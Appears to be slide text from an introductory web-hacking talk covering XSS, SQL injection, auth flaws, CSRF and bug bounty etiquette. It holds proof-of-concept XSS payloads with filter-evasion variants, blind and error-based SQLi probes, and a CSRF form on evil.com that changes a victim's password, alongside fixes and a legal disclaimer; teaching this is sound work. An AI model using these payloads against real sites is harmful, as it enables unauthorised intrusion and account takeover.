Pen Test vs Vulnerability Assessment

  • Penetration Test
    • Exploit vulnerabilities to show impact
  • Vulnerability Assessments
    • Find proof of vulnerabilites, with no exploitation
  • Why the distinction?
    • Just finding is less intimidating
    • Bug bounties don't want vulns exploited

Intercepting Proxies

Your gateway to Web Hacking Heroics

  • Need to look at raw HTTP requests/responses
    • Circumvents client-side controls
    • Faster than browser
  • Free Proxies:
    • BURP
    • Zed Attack Proxy
    • Web Scarab

GET Method

Description

POST Method

Description

Methodology

  • Testing Process
    • Find Functionalities to Test
    • Test Functionalities for Vulnerabilities
    • Report Vulnerabilities
  • Vulnerability Knowledge
    • Root Problem
    • How to Find
    • Why it's Bad
    • The Fix

Obligatory Disclaimer

  • Only test sites you own or have express permission to test
  • Follow the Guidlines
  • Don't exploit vulnserabilities on apps you don't own
  • People go to jail for doing this. Don't be one of those people.

Queue Dramatic Thunder & Lightning

The Vulnerabilities

Cross Site Scripting

The Root Problem

  • Key Elements
    • User input shows up in response body
    • Insufficient Santization
  • Goal: Get your code to execute on the page
    • <!DOCTYPE html>
<html>
<body>
  <div id='Greeting'> Howdy, <div id='username'><script>alert(0)</script></div></div>
  <h1>Thrilling Latin Content!</h1>
  <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed fringilla vehicula lectus,
  quis maximus nisl tristique eu. Ut rhoncus viverra urna id faucibus. Nulla magna mauris,
  venenatis non eleifend condimentum, porttitor in turpis. Fusce at commodo diam. </p>
  <a href='//www.site.com/differentThrillingArticle'>More Thrilling Content HERE!!1!</a>
</body>
</html>

Cross Site Scripting

How to Find it

  • Need to send something in a request that shows up on the web site
    • Query String
    • Post Body
    • The Entire HTTP Request
  • Injection depends on landing space
    • Text Space
    • Attribute Space
    • Script Space
    • URI Space

Cross Site Scripting

Landing Spaces

<!DOCTYPE html>
<html>
<head>
  <script>
    var thrills = '1337 H@x0rz';
    funFunc(huzzah){
      //fun functional code
    }
  </script>
</head>
<body>
  <img id="logo" src="//site.com/logo.png"/>
  <h1>Thrilling Web Content!</h1>
  <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed fringilla vehicula lectus,
  quis <a href="//somewhere.com" onmouseover="funFun('surelySafeUserInput')">maximus</a>
  nisl tristique eu. Ut rhoncus viverra urna id faucibus. Nulla magna mauris,
  venenatis non eleifend condimentum, porttitor in turpis. Fusce at commodo diam.</p>
</body>
</html>

Cross Site Scripting

Text Space

  • Need to get a tag onto the page:
    • <!DOCTYPE html>
<html>
<body>
<div id='Greeting'>
  Howdy, <div id='username'><script>alert(0)</script></div>
</div>
  <img id="logo" src="//site.com/logo.png"/>
  <h3>Search:<h3><input type="text" value=""/>
  No Results for: <p onmouseover='alert(0)'/>Over Here</p>
  <a href="/advancedSearch.html?input=value">Advanced Search</a>
</body>
</html>

Cross Site Scripting

Text Space | Filter Evasion

<!DOCTYPE html>
<html>
<body>
<div id='Greeting'>
  Howdy, <div id='username'><ScRiPt>alert(0)</sCrIpT></div>
</div>
  <img id="logo" src="//site.com/logo.png"/>
  <h3>Search:<h3><input type="text" value=""/>
  No Results for:<isntThisAGreatPrezo onmouseover='alert(0)' Over Here
  <a href="/advancedSearch.html?input=value">Advanced Search</a>
</body>
</html>

Cross Site Scripting

Attribute Space

<!DOCTYPE html>
<html>
<body>
<div id='Greeting'>
  Howdy, <div id='username'>Scripty</div>
</div>
  <img id="logo" src="//site.com/logo.png"/>
  <h3>Search:<h3><input type="text" value=""onfocus="alert(0)"/>
  No Results for: L33tness
  <a href="/advancedSearch.html?input="><script>alert(0)</script>">Advanced Search</a>
</body>
</html>

Cross Site Scripting

Attribute Space | Filter Evasion

<!DOCTYPE html>
<html>
<body>
<div id='Greeting'>
  Howdy, <div id='username'>Scripty</div>
</div>
  <img id="logo" src="//site.com/logo.png"/>
  <h3>Search:<h3><input type="text" value=""onfocus="alert&#x28;0&#x29;"/>
  No Results for: L33tness
  <a href="/advancedSearch.html?input=&quot;><script>wontWork(0)</script>">Advanced Search</a>
</body>
</html>

Cross Site Scripting

URI Space

<!DOCTYPE html>
<html>
<body>
<div id='Greeting'>
  Howdy, <div id='username'>Scripty</div>
</div>
  <img id="logo" src="//site.com/logo.png"/>
  <h3>Search:<h3><input type="text" value=""/>
  No Results for: L33tness
  <a href="javascript:alert(0)">Advanced Search</a>
</body>
</html>

Cross Site Scripting

URI Space | Filter Evasion

<!DOCTYPE html>
<html>
<body>
<div id='Greeting'>
  Howdy, <div id='username'>Scripty</div>
</div>
  <img id="logo" src="//site.com/logo.png"/>
  <h3>Search:<h3><input type="text" value=""/>
  No Results for: L33tness
  <a href="javascript:%61lert%280%29">Advanced Search</a>
</body>
</html>

Cross Site Scripting

Script Space & Filter Evasion

var willThisWork;
try{
  willThisWork = "Nope";alert(0);";
}catch(error){
  willThisWork = "Yup";alert(1);//";
}
if(true !== true){
  prompt("Guess this is meaningless now: ");}alert(2);{//")
}
console.log("Filter Evasion:");aler\u0074(2);("");

Cross Site Scripting

Why it's Bad & What to do About it

  • Why XSS is Bad: Arbitrary JavaScript Execution
    • Steal Cookies (document.cookies)
    • Redirect Users (window.location)
    • Rewrite Content (document.body.innerHTML)
    • Key Loggers
    • CSRF
    • BEEF Hooks
    • Basically Anything JavaScript Can Do
  • The Fix
    • Text Space: Output Encoding
    • WhiteList Filter

SQL Injection

The Root Problem

  • Key Elements
    • User input shows up in SQL query
    • Insufficient santization
    •             SELECT title, content FROM articles WHERE id='1337';

SQL Injection

How to find it

  • Error-Based
    • Occurs when web apps show SQL syntax errors to users
SELECT title, content FROM articles WHERE title='CyberCloud'';
      
SELECT title, content FROM articles WHERE id=1337 SELECT;
  • Blind
    • Occurs when a web app has SQLi, but doesn't show syntax errors.

SQL Injection

Finding Blind SQLi

  • Math
    • SELECT title, content FROM articles WHERE id=103-1;
  • Logical Operators
    • SELECT title, content FROM articles WHERE id=103 AND 1=1;
SELECT title, content FROM articles WHERE id=103 AND 1=0;
  • String Concatenation
    • SELECT title, content FROM articles WHERE title='Cyber'+'Cloud';
SELECT title, content FROM articles WHERE title='Cyber' 'Cloud';
SELECT title, content FROM articles WHERE title='Cyber'||'Cloud';

SQL Injection

Why it's Bad & What to do About it

  • Why SQLi is Bad:
    • Unauthorized Database Access
  • Fix:
    • Parameterization

Insufficient Authorization & Authentication

The Root Problem & Why It's Bad

  • Insufficient Authentication
    • Bypassing mechanisms to identify yourself to the web app
  • Insufficient Authorization
    • Doing something beyond what your current user roll should be allowed to do

Insufficient Authorization & Authentication

Magic Insufficient Auth. Identifying Questions

  • Should I be seeing this content/functionality?
    • Yes: No problem
    • No: Insufficient auth issue
  • Do I have to be logged in to see this?
    • Yes: Insufficient Authorization
    • No: Insufficient Authentication

Insufficient Authorization & Authentication

Finding Insufficient Auth.

  • Try accessing priviledged content without logging in first
  • Try changing ID numbers
  • Found insufficient authorization? Try it without session data.

Cross Site Request Forgery

The Root Problem

  • Key Elements
    • Web app has a predictible request
    • Victim visits a page attacker controls
    • www.site.com/profile/changePassword.html 
    <form action="//site.com/profile/changePass" method="POST">
  <input type="password" name="newPass" value=""/>
  <input type="password" name="confirmPass" value=""/>
  <input type="submit" value="Change Password"/>
</form>
    www.evil.com/catPicture.html 
    <img src="//lolcats.ha/cat.html"/>
<form action="//site.com/profile/changePass" method="POST">
  <input type="hidden" name="newPass" value="1337H@x0r"/>
  <input type="hidden" name="confirmPass" value="1337H@x0r"/>
  <input type="hidden" value="Change Password"/>
</form>

CSRF Example Request

The Legitimate POST

Description

CSRF Example Request

The Evil POST

Description

Cross Site Request Forgery

The Great Debate

  • How is CSRF Pronounced?
  • The Three Armies
    • Say each letter: C-S-R-F
    • Slur it together: "Sea Surf"
    • Make it like XSS: XSRF

Cross Site Request Forgery

Most Common Defenses

  • Current Password
  • CSRF Token
  • Not Cookies

Cross Site Request Forgery

Finding CSRF & Testing Defenses

  • Find authenticated functionality
  • Try making an HTML Form to send the value
  • If there's a Token or Password:
    • Replace value with a made up one
    • Remove parameter's value
    • Remove entire parameter from request

Cross Site Request Forgery

Root Problem, Why it's bad, & the Fix

  • Root Problem
    • Attacker can predict request that the victim needs to send to do something
  • Why It's Bad
    • Allows attackers to have users do things without their consent
  • The Fix
    • Validate current password
    • Strong, properly validated CSRF token

Miscellaneous Common Vulnerabilities

  • URL Redirection
    • Occurs when an attacker can control where a user is sent or a resource is gotten from.
    • http://www.site.com/login?successURL=profile.html
  • Insufficient Transport Layer Protection
    • Occurs whenever sensitive information isn't sent over HTTPS
  • Content Spoofing
    • Occurs when an attacker sticks HTML/text into the page.
  • Insufficient Session Expiration
    • Occurs when logout button doesn't work

Bug Bounty Hunting

Production Safety & Reporting Vulnerabilities

Production Safety

  • Don't do anything that might affect site users.
    • Altering other users data
    • Leaving persistent tests around where users will see it.
  • Don't try to get user data
  • Don't use new tools you aren't very familiar with
  • Avoid brute force functionalities

Writing Proof of Concepts

  • Briefly describe the vulnerability you are reporting.
  • Provide a step by step guide to recreate the evidence of the vulnerability in question.
  • Add screenshots when applicable
  • Add other relevant information
    • browser version
    • date/time
  • Explanation of potential impact to company's business model.

Additional Resources

</ZeroToHackerHero>

Thank You!